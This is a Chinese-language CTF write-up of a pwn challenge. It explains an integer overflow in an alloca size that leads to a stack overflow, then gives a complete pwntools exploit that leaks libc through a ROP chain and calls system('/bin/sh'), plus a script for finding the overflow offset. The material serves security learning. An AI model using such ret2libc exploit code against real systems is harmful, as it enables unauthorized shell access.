首先说一下原理
为什么会出现整数溢出?
因为机器底层只能处理01串,也就是说底层本身是无法识别有符号数和无符号数的,这些规定是存在于编辑器层面,在C语言中,整数的基本类型有以下几种(图片来源:CTF Wiki)
溢出又分上溢出和下溢出
上溢出:
当出现0x7fff+1,或者0xffff+1的时候,假设0x7fff是无符号数,那么+1之后就是0
下溢出:
例如0x0000-1 -> 0xffff
总的来说,利用技巧就是利用代码里有符号和无符号数之间的转换问题,恶意将某个关键数值改的超大或者很小
正式做题
这个题本身应该不难,但是这个代码看着太恶心了,没有完全理解清楚
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp@1
void *v4; // rsp@3
int v6; // [sp+Ch] [bp-24h]@1
void *dest; // [sp+10h] [bp-20h]@3
int v8; // [sp+1Ch] [bp-14h]@3
_DWORD *v9; // [sp+20h] [bp-10h]@1 4字节类型
void *buf; // [sp+28h] [bp-8h]@1
v6 = argc;
init_stdio();
puts("welcome.....");
v3 = alloca(32LL);
buf = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
read(0, (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), 0xCuLL);
v9 = buf;
if ( *(_DWORD *)buf != 1852402515 || v9[1] != 1 )
{
puts("some thing wrong");
}
else
{
v8 = v9[2] + 32;
v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
read(0, (char *)dest + 12, v9[2]); // 栈溢出
handle_data();
}
return 0;
}
问题就出在else里面,v8是int型,但是这个地方却被作为无符号数处理,在机器里,底层是不会区分有符号数和无符号数,有符号和无符号是在编译层面才区分的,所以这个地方就可以进行一下整数溢出,修改能传入的数据大小限制,然后再利用栈溢出,获得shell
else
{
v8 = v9[2] + 32;
v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
read(0, (char *)dest + 12, v9[2]); // 栈溢出
handle_data();
}
exp:
使用p32的是因为,最初输入的地方,是buf,buf和v9是一个类型,都是dword,所以要用p32
from pwn import *
# context.log_level = 'debug'
p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = r.find_gadget(['pop rdi','ret']).address
info("pop_rdi_ret: {}".format(hex(pop_rdi)))
p.recvuntil('welcome.....')
payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)
# p.send('a'*200)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload2 = cyclic(124)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(elf.entry)
p.send(payload2)
p.recvline()
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
info("libc_base: {}".format(hex(libc_base)))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
payload3 = p32(0x6e696b53)
payload3 += p32(0x1)
payload3 += p32(0xffffffff)
p.send(payload3)
payload4 = cyclic(124)
payload4 += p64(pop_rdi)
payload4 += p64(binsh_addr)
payload4 += p64(system_addr)
payload4 += p64(elf.entry)
p.send(payload4)
# gdb.attach(p)
p.interactive()
如果不知道cyclic(124)中的124是咋来的,继续往下看:
首先说明,attach后面那个send()里的字符串是使用pattern create生成的,执行下面这个脚本,然后按下’c’,即可正常寻找栈溢出偏移
from pwn import *
# context.log_level = 'debug'
p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = r.find_gadget(['pop rdi','ret']).address
info("pop_rdi_ret: {}".format(hex(pop_rdi)))
p.recvuntil('welcome.....')
payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)
gdb.attach(p)
p.send('aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa')
p.interactive()